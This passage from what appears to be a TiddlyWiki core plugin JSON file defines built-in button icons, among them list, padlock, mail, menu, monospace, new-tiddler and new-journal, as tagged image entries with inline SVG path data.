01-3.945 2.784z\"/></svg>"
},
"$:/core/images/list": {
"title": "$:/core/images/list",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-list tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M87.748 128H23.999c-4.418 0-7.999-3.59-7.999-8.007V8.007C16 3.585 19.588 0 24 0h80c4.419 0 8 3.59 8 8.007V104H91.25c-.965 0-1.84.392-2.473 1.025a3.476 3.476 0 00-1.029 2.476V128zm8-.12l15.88-15.88h-15.88v15.88zM40 15.508A3.502 3.502 0 0143.5 12h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 20h-55a3.498 3.498 0 01-3.5-3.509v-.982zM32 22a6 6 0 100-12 6 6 0 000 12zm8 9.509A3.502 3.502 0 0143.5 28h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 36h-55a3.498 3.498 0 01-3.5-3.509v-.982zm0 16A3.502 3.502 0 0143.5 44h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 52h-55a3.498 3.498 0 01-3.5-3.509v-.982zm0 16A3.502 3.502 0 0143.5 60h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 68h-55a3.498 3.498 0 01-3.5-3.509v-.982zm0 16A3.502 3.502 0 0143.5 76h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 84h-55a3.498 3.498 0 01-3.5-3.509v-.982zm0 16A3.502 3.502 0 0143.5 92h55c1.933 0 3.5 1.561 3.5 3.509v.982A3.502 3.502 0 0198.5 100h-55a3.498 3.498 0 01-3.5-3.509v-.982zm0 16A3.505 3.505 0 0143.497 108h33.006A3.497 3.497 0 0180 111.509v.982A3.505 3.505 0 0176.503 116H43.497A3.497 3.497 0 0140 112.491v-.982zM32 38a6 6 0 100-12 6 6 0 000 12zm0 16a6 6 0 100-12 6 6 0 000 12zm0 16a6 6 0 100-12 6 6 0 000 12zm0 16a6 6 0 100-12 6 6 0 000 12zm0 16a6 6 0 100-12 6 6 0 000 12zm0 16a6 6 0 100-12 6 6 0 000 12z\"/></svg>"
},
"$:/core/images/locked-padlock": {
"title": "$:/core/images/locked-padlock",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-locked-padlock tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M96.472 64H105v32.01C105 113.674 90.674 128 73.001 128H56C38.318 128 24 113.677 24 96.01V64h8c.003-15.723.303-47.731 32.16-47.731 31.794 0 32.305 32.057 32.312 47.731zm-15.897 0H48.44c.002-16.287.142-32 15.719-32 15.684 0 16.977 16.136 16.415 32zM67.732 92.364A8.503 8.503 0 0064.5 76a8.5 8.5 0 00-3.498 16.25l-5.095 22.77H72.8l-5.07-22.656z\"/></svg>"
},
"$:/core/images/mail": {
"title": "$:/core/images/mail",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-mail tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M122.827 104.894a7.986 7.986 0 01-2.834.516H8.007c-.812 0-1.597-.12-2.335-.345l34.163-34.163 20.842 20.842a3.998 3.998 0 003.418 1.134 4.003 4.003 0 003.395-1.134L88.594 70.64c.075.09.155.176.24.26l33.993 33.994zm5.076-6.237c.064-.406.097-.823.097-1.247v-64c0-.669-.082-1.318-.237-1.94L94.23 65.006c.09.075.177.154.261.239l33.413 33.413zm-127.698.56A8.023 8.023 0 010 97.41v-64c0-.716.094-1.41.271-2.071l33.907 33.906L.205 99.218zM5.93 25.684a8.012 8.012 0 012.078-.273h111.986c.766 0 1.507.108 2.209.308L64.083 83.837 5.93 25.683z\"/></svg>"
},
"$:/core/images/menu-button": {
"title": "$:/core/images/menu-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-menu-button tc-image-button\" viewBox=\"0 0 128 128\"><rect width=\"128\" height=\"16\" y=\"16\" rx=\"8\"/><rect width=\"128\" height=\"16\" y=\"56\" rx=\"8\"/><rect width=\"128\" height=\"16\" y=\"96\" rx=\"8\"/></svg>"
},
"$:/core/images/mono-block": {
"title": "$:/core/images/mono-block",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-mono-block tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M23.965 32.967h.357c.755 0 1.328.192 1.72.577.39.384.586.947.586 1.688 0 .824-.206 1.418-.618 1.782-.413.363-1.094.545-2.045.545h-6.31c-.965 0-1.65-.178-2.056-.535-.405-.356-.608-.954-.608-1.792 0-.811.203-1.391.608-1.74.406-.35 1.09-.525 2.055-.525h.734l-.86-2.453H8.471l-.902 2.453h.734c.95 0 1.632.178 2.044.535.413.356.619.933.619 1.73 0 .824-.206 1.418-.619 1.782-.412.363-1.094.545-2.044.545h-5.41c-.964 0-1.649-.182-2.054-.545-.406-.364-.608-.958-.608-1.782 0-.741.195-1.304.587-1.688.391-.385.964-.577 1.719-.577h.356l5.62-15.641H6.835c-.95 0-1.632-.182-2.044-.546-.412-.363-.619-.95-.619-1.76 0-.825.207-1.42.619-1.783.412-.363 1.094-.545 2.044-.545h7.863c1.244 0 2.118.67 2.62 2.013v.063l6.647 18.2zM12.98 17.326l-3.04 8.848h6.08l-3.04-8.848zm22.402 9.372v6.395h3.145c2.223 0 3.788-.245 4.697-.734.908-.49 1.362-1.307 1.362-2.453 0-1.16-.433-1.985-1.3-2.474-.866-.49-2.383-.734-4.55-.734h-3.354zm10.693-2.327c1.524.559 2.642 1.324 3.355 2.295.713.972 1.07 2.212 1.07 3.722 0 1.272-.308 2.432-.923 3.48-.615 1.049-1.496 1.909-2.642 2.58a7.499 7.499 0 01-2.254.849c-.832.174-2.01.262-3.533.262H30.202c-.922 0-1.583-.182-1.981-.545-.399-.364-.598-.958-.598-1.782 0-.741.189-1.304.566-1.688.378-.385.93-.577 1.657-.577h.356V17.326h-.356c-.727 0-1.28-.196-1.657-.587-.377-.392-.566-.965-.566-1.72 0-.81.203-1.401.608-1.771.406-.37 1.062-.556 1.971-.556h9.645c2.95 0 5.19.573 6.72 1.72 1.53 1.145 2.296 2.823 2.296 5.031 0 1.09-.234 2.052-.703 2.883-.468.832-1.163 1.513-2.086 2.045zM35.381 17.2v5.284h2.83c1.72 0 2.932-.203 3.638-.609.706-.405 1.06-1.09 1.06-2.054 0-.909-.319-1.573-.955-1.992-.636-.42-1.667-.63-3.093-.63h-3.48zm35.863-3.816c.28-.503.566-.86.86-1.07.293-.21.664-.314 1.111-.314.685 0 1.17.182 1.457.545.287.364.43.986.43 1.866l.042 5.452c0 .964-.157 1.614-.472 1.95-.314.335-.884.503-1.709.503-.587 0-1.037-.14-1.352-.42-.314-.28-.584-.796-.807-1.551-.364-1.328-.944-2.282-1.74-2.862-.797-.58-1.901-.87-3.313-.87-2.153 0-3.802.727-4.948 2.18-1.147 1.454-1.72 3.558-1.72 6.311 0 2.74.58 4.844 1.74 6.311 1.16 1.468 2.817 2.202 4.97 2.202 1.467 0 3.085-.49 4.854-1.468 1.768-.978 2.883-1.467 3.344-1.467.545 0 1.003.23 1.373.692.37.46.556 1.034.556 1.719 0 1.23-1.084 2.39-3.25 3.48-2.167 1.09-4.606 1.636-7.318 1.636-3.662 0-6.625-1.21-8.89-3.627-2.264-2.419-3.396-5.578-3.396-9.478 0-3.76 1.146-6.884 3.438-9.372 2.293-2.488 5.2-3.732 8.723-3.732.992 0 1.97.112 2.935.335.964.224 1.992.574 3.082 1.049zm10.22 19.583V17.326h-.356c-.755 0-1.328-.196-1.72-.587-.39-.392-.586-.965-.586-1.72 0-.81.21-1.401.629-1.771.42-.37 1.097-.556 2.034-.556h5.178c2.922 0 5.06.126 6.416.377 1.356.252 2.51.671 3.46 1.258 1.691 1.007 2.988 2.443 3.89 4.31.9 1.865 1.352 4.021 1.352 6.467 0 2.586-.514 4.847-1.541 6.783-1.028 1.936-2.485 3.4-4.372 4.393-.853.447-1.852.772-2.998.975-1.147.203-2.852.304-5.116.304h-6.269c-.965 0-1.65-.178-2.055-.535-.406-.356-.608-.954-.608-1.792 0-.741.195-1.304.587-1.688.391-.385.964-.577 1.72-.577h.356zm5.41-15.725v15.725h1.195c2.642 0 4.592-.646 5.85-1.94 1.258-1.292 1.887-3.28 1.887-5.965 0-2.641-.64-4.612-1.918-5.912-1.28-1.3-3.205-1.95-5.777-1.95-.335 0-.59.003-.765.01a7.992 7.992 0 00-.472.032zm35.067-.126h-9.75v5.368h3.69v-.252c0-.797.175-1.39.524-1.782.35-.392.88-.587 1.594-.587.629 0 1.142.178 1.54.534.4.357.598.808.598 1.353 0 .028.007.118.021.272.014.154.021.308.021.462v4.34c0 .936-.167 1.607-.503 2.013-.335.405-.88.608-1.635.608-.713 0-1.251-.19-1.615-.567-.363-.377-.545-.936-.545-1.677v-.377h-3.69v6.269h9.75v-2.495c0-.937.178-1.608.534-2.013.357-.405.94-.608 1.75-.608.798 0 1.367.2 1.71.597.342.399.513 1.073.513 2.024v5.074c0 .755-.146 1.258-.44 1.51-.293.251-.873.377-1.74.377h-17.172c-.923 0-1.583-.182-1.982-.545-.398-.364-.597-.958-.597-1.782 0-.741.189-1.304.566-1.688.377-.385.93-.577 1.656-.577h.357V17.326h-.357c-.712 0-1.261-.2-1.646-.598-.384-.398-.576-.968-.576-1.709 0-.81.203-1.401.608-1.771.405-.37 1.062-.556 1.97-.556h17.173c.853 0 1.43.13 1.73.388.3.258.45.772.45 1.54v4.698c0 .95-.174 1.631-.524 2.044-.35.412-.915.618-1.698.618-.81 0-1.394-.21-1.75-.629-.357-.419-.535-1.097-.535-2.033v-2.202zM19.77 47.641c.267-.504.55-.86.85-1.07.3-.21.675-.314 1.122-.314.685 0 1.17.181 1.457.545.287.363.43.985.43 1.866l.042 5.451c0 .965-.157 1.615-.472 1.95-.314.336-.891.504-1.73.504-.587 0-1.045-.144-1.373-.43-.329-.287-.598-.8-.807-1.541-.378-1.342-.958-2.3-1.74-2.873-.783-.573-1.88-.86-3.292-.86-2.153 0-3.799.727-4.938 2.181-1.14 1.454-1.709 3.557-1.709 6.311s.598 4.882 1.793 6.385C10.599 67.248 12.294 68 14.488 68c.503 0 1.077-.06 1.72-.179a23.809 23.809 0 002.264-.555v-3.313h-2.37c-.95 0-1.624-.175-2.023-.524-.398-.35-.597-.93-.597-1.74 0-.84.199-1.437.597-1.793.399-.357 1.073-.535 2.024-.535h7.569c.978 0 1.667.175 2.065.524.398.35.598.937.598 1.762 0 .74-.2 1.31-.598 1.708-.398.399-.975.598-1.73.598h-.335v5.242c0 .447-.05.758-.147.933-.098.174-.293.353-.587.534-.797.476-2.062.895-3.795 1.258a25.576 25.576 0 01-5.263.546c-3.662 0-6.625-1.21-8.89-3.628-2.264-2.418-3.397-5.577-3.397-9.477 0-3.76 1.147-6.884 3.44-9.372 2.292-2.488 5.199-3.732 8.721-3.732.979 0 1.954.112 2.925.335.972.224 2.003.573 3.093 1.049zm15.84 3.941v4.823h6.857v-4.823h-.336c-.754 0-1.331-.195-1.73-.587-.398-.391-.597-.964-.597-1.719 0-.825.206-1.419.619-1.782.412-.364 1.093-.545 2.044-.545h5.41c.95 0 1.624.181 2.023.545.398.363.597.957.597 1.782 0 .755-.192 1.328-.576 1.72-.385.39-.947.586-1.688.586h-.357v15.642h.357c.755 0 1.328.192 1.719.576.391.385.587.947.587 1.688 0 .825-.203 1.419-.608 1.782-.405.364-1.09.546-2.055.546h-5.41c-.964 0-1.649-.179-2.054-.535-.405-.357-.608-.954-.608-1.793 0-.74.2-1.303.598-1.688.398-.384.975-.576 1.73-.576h.335v-6.186h-6.856v6.186h.335c.755 0 1.331.192 1.73.576.398.385.597.947.597 1.688 0 .825-.206 1.419-.618 1.782-.412.364-1.094.546-2.044.546h-5.41c-.964 0-1.65-.179-2.055-.535-.405-.357-.608-.954-.608-1.793 0-.74.196-1.303.587-1.688.392-.384.965-.576 1.72-.576h.356V51.582h-.356c-.741 0-1.304-.195-1.688-.587-.385-.391-.577-.964-.577-1.719 0-.825.2-1.419.598-1.782.398-.364 1.073-.545 2.023-.545h5.41c.936 0 1.614.181 2.033.545.42.363.63.957.63 1.782 0 .755-.2 1.328-.598 1.72-.399.39-.975.586-1.73.586h-.335zm31.754 0v15.642h3.523c.95 0 1.632.178 2.044.534.412.357.618.933.618 1.73 0 .811-.21 1.402-.629 1.772-.419.37-1.097.556-2.033.556H58.433c-.95 0-1.632-.182-2.044-.546-.412-.363-.619-.957-.619-1.782 0-.81.203-1.39.608-1.74.406-.35 1.09-.524 2.055-.524h3.523V51.582h-3.523c-.95 0-1.632-.181-2.044-.545-.412-.363-.619-.95-.619-1.761 0-.825.203-1.412.608-1.761.406-.35 1.09-.524 2.055-.524h12.455c.992 0 1.684.174 2.075.524.392.35.587.936.587 1.761 0 .81-.202 1.398-.608 1.761-.405.364-1.09.545-2.054.545h-3.523zm30.496 0v11.994c0 1.873-.122 3.228-.367 4.067a5.876 5.876 0 01-1.227 2.244c-.74.852-1.768 1.495-3.082 1.929-1.314.433-2.893.65-4.738.65-1.3 0-2.555-.126-3.764-.378a16.843 16.843 0 01-3.491-1.132c-.615-.28-1.017-.643-1.206-1.09-.188-.448-.283-1.175-.283-2.18v-4.32c0-1.202.175-2.04.525-2.516.349-.475.957-.713 1.824-.713 1.244 0 1.929.915 2.054 2.747.014.321.035.566.063.733.168 1.622.545 2.73 1.133 3.324.587.594 1.523.89 2.81.89 1.593 0 2.714-.422 3.364-1.268.65-.845.975-2.386.975-4.623V51.582H88.93c-.95 0-1.632-.181-2.044-.545-.413-.363-.619-.95-.619-1.761 0-.825.2-1.412.598-1.761.398-.35 1.086-.524 2.065-.524h10.693c.979 0 1.667.174 2.065.524.399.35.598.936.598 1.761 0 .81-.206 1.398-.619 1.761-.412.364-1.093.545-2.044.545h-1.761zm14.644 0v6.353l6.48-6.478c-.728-.084-1.238-.29-1.531-.619-.294-.328-.44-.85-.44-1.562 0-.825.198-1.419.597-1.782.398-.364 1.073-.545 2.023-.545h5.137c.95 0 1.625.181 2.023.545.399.363.598.957.598 1.782 0 .769-.2 1.345-.598 1.73-.398.384-.982.576-1.75.576h-.483l-6.101 6.06c1.132.839 2.167 1.94 3.103 3.302.937 1.363 2.034 3.456 3.292 6.28h.692c.825 0 1.44.188 1.845.566.405.377.608.943.608 1.698 0 .825-.206 1.419-.619 1.782-.412.364-1.093.546-2.044.546h-2.579c-1.132 0-2.048-.762-2.746-2.286-.126-.28-.224-.503-.294-.67-.923-1.958-1.768-3.467-2.537-4.53a16.616 16.616 0 00-2.705-2.914l-1.97 1.887v3.92h.335c.755 0 1.331.193 1.73.577.398.385.597.947.597 1.688 0 .825-.206 1.419-.618 1.782-.413.364-1.094.546-2.045.546h-5.41c-.964 0-1.649-.179-2.054-.535-.405-.357-.608-.954-.608-1.793 0-.74.196-1.303.587-1.688.391-.384.965-.576 1.72-.576h.356V51.582h-.357c-.74 0-1.303-.195-1.687-.587-.385-.391-.577-.964-.577-1.719 0-.825.2-1.419.598-1.782.398-.364 1.072-.545 2.023-.545h5.41c.936 0 1.614.181 2.033.545.42.363.63.957.63 1.782 0 .755-.2 1.328-.598 1.72-.399.39-.975.586-1.73.586h-.336zM13.44 96.326l4.005-11.889c.251-.782.6-1.352 1.048-1.709.447-.356 1.041-.534 1.782-.534h3.271c.95 0 1.632.182 2.044.545.413.363.619.957.619 1.782 0 .755-.2 1.328-.598 1.72-.398.39-.975.587-1.73.587h-.335l.587 15.641h.357c.754 0 1.32.192 1.698.577.377.384.566.947.566 1.687 0 .825-.2 1.42-.598 1.783-.398.363-1.072.545-2.023.545h-4.718c-.95 0-1.624-.178-2.023-.535-.398-.356-.597-.954-.597-1.793 0-.74.192-1.303.576-1.687.385-.385.954-.577 1.709-.577h.335l-.293-12.79-3.061 9.52c-.224.712-.542 1.226-.954 1.54-.413.315-.982.472-1.709.472-.727 0-1.303-.157-1.73-.472-.426-.314-.751-.828-.975-1.54l-3.04-9.52-.294 12.79h.336c.755 0 1.324.192 1.709.577.384.384.576.947.576 1.687 0 .825-.202 1.42-.608 1.783-.405.363-1.076.545-2.013.545H2.621c-.937 0-1.608-.182-2.013-.545-.405-.364-.608-.958-.608-1.783 0-.74.192-1.303.577-1.687.384-.385.954-.577 1.708-.577h.336l.608-15.641h-.336c-.754 0-1.331-.196-1.73-.588-.398-.39-.597-.964-.597-1.719 0-.825.206-1.419.619-1.782.412-.363 1.093-.545 2.044-.545h3.27c.728 0 1.311.175 1.752.524.44.35.8.923 1.08 1.72l4.109 11.888zm30.454 2.054V86.828H42.74c-.922 0-1.583-.182-1.981-.546-.398-.363-.598-.95-.598-1.76 0-.812.2-1.402.598-1.773.398-.37 1.059-.555 1.981-.555h5.955c.909 0 1.566.185 1.97.555.406.37.609.961.609 1.772 0 .741-.192 1.31-.577 1.709-.384.398-.933.598-1.646.598h-.356v19.038c0 .657-.07 1.069-.21 1.237-.14.167-.454.251-.943.251h-2.097c-.67 0-1.143-.07-1.415-.21-.273-.14-.507-.384-.703-.733l-8.722-15.327v11.385h1.216c.909 0 1.559.175 1.95.524.392.35.587.93.587 1.74 0 .825-.199 1.42-.597 1.783-.399.363-1.045.545-1.94.545h-6.017c-.909 0-1.566-.182-1.971-.545-.406-.364-.608-.958-.608-1.783 0-.74.188-1.303.566-1.687.377-.385.936-.577 1.677-.577h.336V86.828h-.336c-.713 0-1.265-.2-1.656-.598-.392-.398-.587-.968-.587-1.709 0-.81.206-1.401.618-1.772.413-.37 1.066-.555 1.96-.555h3.44c.824 0 1.383.108 1.677.325.293.216.622.653.985 1.31l7.989 14.551zM64.66 86.366c-1.803 0-3.218.727-4.245 2.18-1.028 1.455-1.541 3.474-1.541 6.06 0 2.586.517 4.613 1.551 6.08 1.034 1.468 2.446 2.202 4.235 2.202 1.804 0 3.222-.73 4.257-2.19 1.034-1.461 1.551-3.492 1.551-6.092 0-2.586-.513-4.605-1.54-6.06-1.028-1.453-2.45-2.18-4.268-2.18zm0-4.864c3.44 0 6.27 1.23 8.492 3.69 2.223 2.46 3.334 5.598 3.334 9.414 0 3.844-1.104 6.99-3.313 9.436-2.208 2.446-5.046 3.669-8.513 3.669-3.424 0-6.255-1.234-8.491-3.701-2.237-2.467-3.355-5.602-3.355-9.404 0-3.83 1.108-6.971 3.323-9.424 2.216-2.454 5.057-3.68 8.523-3.68zM87.461 98.17v4.298h2.16c.908 0 1.555.175 1.94.524.384.35.576.93.576 1.74 0 .825-.196 1.42-.587 1.783-.392.363-1.035.545-1.93.545h-7.254c-.922 0-1.583-.182-1.981-.545-.399-.364-.598-.958-.598-1.783 0-.74.189-1.303.566-1.687.378-.385.93-.577 1.657-.577h.356V86.828h-.356c-.713 0-1.262-.2-1.646-.598-.385-.398-.577-.968-.577-1.709 0-.81.203-1.401.608-1.772.406-.37 1.063-.555 1.971-.555h8.66c3.424 0 6.014.657 7.768 1.97 1.754 1.315 2.631 3.25 2.631 5.809 0 2.697-.873 4.738-2.62 6.122-1.748 1.384-4.34 2.076-7.78 2.076h-3.564zm0-11.343v6.625h2.977c1.65 0 2.89-.28 3.722-.839.832-.559 1.248-1.397 1.248-2.516 0-1.048-.43-1.855-1.29-2.421-.86-.566-2.086-.85-3.68-.85h-2.977zm27.267 20.568l-1.636 1.636a12.37 12.37 0 011.772-.44c.58-.098 1.15-.147 1.709-.147 1.104 0 2.268.164 3.491.492 1.223.329 1.967.493 2.233.493.447 0 1.03-.15 1.75-.45.72-.301 1.206-.452 1.458-.452.517 0 .947.2 1.29.598.342.398.513.898.513 1.5 0 .796-.472 1.474-1.415 2.033-.944.56-2.1.839-3.47.839-.937 0-2.139-.22-3.607-.66-1.467-.441-2.53-.661-3.187-.661-.992 0-2.11.272-3.354.817-1.244.546-2.013.818-2.307.818a2.14 2.14 0 01-1.53-.597c-.42-.399-.63-.878-.63-1.437 0-.391.134-.807.4-1.247.265-.44.733-1.01 1.404-1.709l2.118-2.139c-2.335-.852-4.194-2.386-5.578-4.602-1.384-2.215-2.075-4.763-2.075-7.642 0-3.802 1.104-6.909 3.312-9.32 2.209-2.411 5.053-3.617 8.534-3.617 3.467 0 6.304 1.209 8.513 3.627 2.208 2.418 3.312 5.522 3.312 9.31 0 3.774-1.097 6.884-3.291 9.33-2.195 2.446-4.977 3.67-8.345 3.67a22.5 22.5 0 01-1.384-.043zm1.195-21.03c-1.803 0-3.218.727-4.246 2.18-1.027 1.455-1.54 3.474-1.54 6.06 0 2.586.516 4.613 1.55 6.08 1.035 1.468 2.447 2.202 4.236 2.202 1.803 0 3.222-.73 4.256-2.19 1.035-1.461 1.552-3.492 1.552-6.092 0-2.586-.514-4.605-1.541-6.06-1.028-1.453-2.45-2.18-4.267-2.18z\"/></svg>"
},
"$:/core/images/mono-line": {
"title": "$:/core/images/mono-line",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-mono-line tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M60.437 84.523h.908c1.922 0 3.381.489 4.378 1.468.997.979 1.495 2.411 1.495 4.298 0 2.1-.525 3.612-1.575 4.538-1.05.925-2.785 1.388-5.206 1.388h-16.07c-2.456 0-4.2-.454-5.232-1.361-1.032-.908-1.548-2.43-1.548-4.565 0-2.065.516-3.542 1.548-4.432 1.032-.89 2.776-1.334 5.232-1.334h1.869l-2.19-6.247H20.983l-2.296 6.247h1.87c2.42 0 4.155.453 5.205 1.361 1.05.908 1.575 2.376 1.575 4.405 0 2.1-.525 3.612-1.575 4.538-1.05.925-2.785 1.388-5.206 1.388H6.781c-2.456 0-4.2-.463-5.233-1.388C.516 93.9 0 92.389 0 90.289c0-1.887.498-3.32 1.495-4.298.997-.979 2.456-1.468 4.378-1.468h.908l14.308-39.83h-4.271c-2.42 0-4.156-.462-5.206-1.387-1.05-.926-1.575-2.42-1.575-4.485 0-2.1.525-3.613 1.575-4.538 1.05-.926 2.785-1.388 5.206-1.388h20.021c3.168 0 5.392 1.708 6.674 5.125v.16l16.924 46.343zm-27.976-39.83L24.72 67.225h15.483l-7.742-22.53zM89.506 68.56v16.284h8.008c5.66 0 9.646-.623 11.96-1.869 2.313-1.245 3.47-3.328 3.47-6.246 0-2.955-1.103-5.055-3.31-6.3-2.207-1.246-6.069-1.869-11.586-1.869h-8.542zm27.229-5.926c3.88 1.423 6.727 3.372 8.542 5.846 1.815 2.474 2.723 5.633 2.723 9.477 0 3.239-.783 6.193-2.35 8.862-1.565 2.67-3.808 4.859-6.726 6.567-1.709.997-3.622 1.718-5.74 2.163-2.118.445-5.116.667-8.996.667h-27.87c-2.349 0-4.03-.463-5.045-1.388-1.014-.926-1.521-2.438-1.521-4.538 0-1.887.48-3.32 1.441-4.298.961-.979 2.367-1.468 4.218-1.468h.907v-39.83h-.907c-1.851 0-3.257-.498-4.218-1.494-.961-.997-1.441-2.456-1.441-4.378 0-2.065.516-3.568 1.548-4.512 1.032-.943 2.705-1.414 5.018-1.414h24.56c7.51 0 13.214 1.459 17.111 4.377 3.898 2.92 5.847 7.19 5.847 12.814 0 2.776-.597 5.223-1.789 7.341-1.192 2.118-2.963 3.853-5.312 5.206zm-27.23-18.26v13.455h7.208c4.378 0 7.466-.516 9.264-1.549 1.797-1.032 2.696-2.776 2.696-5.232 0-2.313-.81-4.004-2.43-5.072-1.619-1.068-4.244-1.602-7.874-1.602h-8.863z\"/></svg>"
},
"$:/core/images/new-button": {
"title": "$:/core/images/new-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-new-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M56 72H8.007C3.591 72 0 68.418 0 64c0-4.41 3.585-8 8.007-8H56V8.007C56 3.591 59.582 0 64 0c4.41 0 8 3.585 8 8.007V56h47.993c4.416 0 8.007 3.582 8.007 8 0 4.41-3.585 8-8.007 8H72v47.993c0 4.416-3.582 8.007-8 8.007-4.41 0-8-3.585-8-8.007V72z\"/></svg>"
},
"$:/core/images/new-here-button": {
"title": "$:/core/images/new-here-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-new-here-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M55.838 20.935l-3.572.938c-3.688.968-8.23 4.43-10.136 7.731L3.37 96.738c-1.905 3.3-.771 7.524 2.534 9.432l33.717 19.466c3.297 1.904 7.53.78 9.435-2.521l38.76-67.134c1.905-3.3 2.632-8.963 1.623-12.646L83.285 20.88c-1.009-3.68-4.821-5.884-8.513-4.915l-7.603 1.995.043.287c.524 3.394 2.053 7.498 4.18 11.55.418.163.829.36 1.23.59a8.864 8.864 0 014.438 8.169c.104.132.21.264.316.395l-.386.318a8.663 8.663 0 01-1.082 3.137c-2.42 4.192-7.816 5.608-12.051 3.163-4.12-2.379-5.624-7.534-3.476-11.671-2.177-4.394-3.788-8.874-4.543-12.964z\"/><path d=\"M69.554 44.76c-5.944-7.476-10.74-17.196-11.955-25.059-1.68-10.875 3.503-18.216 15.082-18.04 10.407.158 19.975 5.851 24.728 13.785 5.208 8.695 2.95 17.868-6.855 20.496l-2.037-7.601c4.232-1.134 4.999-4.248 2.24-8.853-3.37-5.626-10.465-9.848-18.146-9.965-6.392-.097-8.31 2.62-7.323 9.01.999 6.465 5.318 15.138 10.582 21.65l-.072.06c.559 1.553-4.17 6.44-5.938 4.888l-.005.004-.028-.034a1.323 1.323 0 01-.124-.135 2.618 2.618 0 01-.149-.205z\"/><rect width=\"16\" height=\"48\" x=\"96\" y=\"80\" rx=\"8\"/><rect width=\"48\" height=\"16\" x=\"80\" y=\"96\" rx=\"8\"/></g></svg>"
},
"$:/core/images/new-image-button": {
"title": "$:/core/images/new-image-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-new-image-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M81.362 73.627l15.826-27.41a2.626 2.626 0 00-.962-3.59l-50.01-28.872a2.626 2.626 0 00-3.588.961L30.058 36.49l10.04-5.261c3.042-1.595 6.771.114 7.55 3.46l3.607 17.702 9.88.85a5.25 5.25 0 014.571 3.77c.034.115.1.344.199.671.165.553.353 1.172.562 1.843.595 1.914 1.23 3.85 1.872 5.678.207.588.412 1.156.614 1.701.625 1.685 1.209 3.114 1.725 4.207.255.54.485.977.726 1.427.214.212.547.425 1.011.622 1.141.482 2.784.74 4.657.758.864.008 1.71-.034 2.492-.11.448-.043.753-.085.871-.104.315-.053.625-.077.927-.076zM37.47 2.649A5.257 5.257 0 0144.649.725l63.645 36.746a5.257 5.257 0 011.923 7.178L73.47 108.294a5.257 5.257 0 01-7.177 1.923L2.649 73.47a5.257 5.257 0 01-1.924-7.177L37.471 2.649zm42.837 50.49a5.25 5.25 0 105.25-9.092 5.25 5.25 0 00-5.25 9.093zM96 112h-7.993c-4.419 0-8.007-3.582-8.007-8 0-4.41 3.585-8 8.007-8H96v-7.993C96 83.588 99.582 80 104 80c4.41 0 8 3.585 8 8.007V96h7.993c4.419 0 8.007 3.582 8.007 8 0 4.41-3.585 8-8.007 8H112v7.993c0 4.419-3.582 8.007-8 8.007-4.41 0-8-3.585-8-8.007V112zM33.347 51.791c7.428 7.948 9.01 10.69 7.449 13.394-1.56 2.703-13.838-2.328-16.094 1.58-2.256 3.908-.907 3.258-2.437 5.908l19.73 11.39s-5.605-8.255-4.235-10.628c2.515-4.356 8.77-1.256 10.365-4.019 2.414-4.181-5.103-9.639-14.778-17.625z\"/></svg>"
},
"$:/core/images/new-journal-button": {
"title": "$:/core/images/new-journal-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-new-journal-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M102.545 112.818v11.818c0 1.306 1.086 2.364 2.425 2.364h6.06c1.34 0 2.425-1.058 2.425-2.364v-11.818h12.12c1.34 0 2.425-1.058 2.425-2.363v-5.91c0-1.305-1.085-2.363-2.424-2.363h-12.121V90.364c0-1.306-1.086-2.364-2.425-2.364h-6.06c-1.34 0-2.425 1.058-2.425 2.364v11.818h-12.12c-1.34 0-2.425 1.058-2.425 2.363v5.91c0 1.305 1.085 2.363 2.424 2.363h12.121zM60.016 4.965c-4.781-2.76-10.897-1.118-13.656 3.66L5.553 79.305A9.993 9.993 0 009.21 92.963l51.04 29.468c4.78 2.76 10.897 1.118 13.655-3.66l40.808-70.681a9.993 9.993 0 00-3.658-13.656L60.016 4.965zm-3.567 27.963a6 6 0 106-10.393 6 6 0 00-6 10.393zm31.697 17.928a6 6 0 106-10.392 6 6 0 00-6 10.392z\"/><text class=\"tc-fill-background\" font-family=\"Helvetica\" font-size=\"47.172\" font-weight=\"bold\" transform=\"rotate(30 25.742 95.82)\"><tspan x=\"42\" y=\"77.485\" text-anchor=\"middle\"><<now \"DD\">></tspan></text></g></svg>"
},
"$:/core/images/opacity": {
"title": "$:/core/images/opacity",
"tags": "$:/tags/Image",
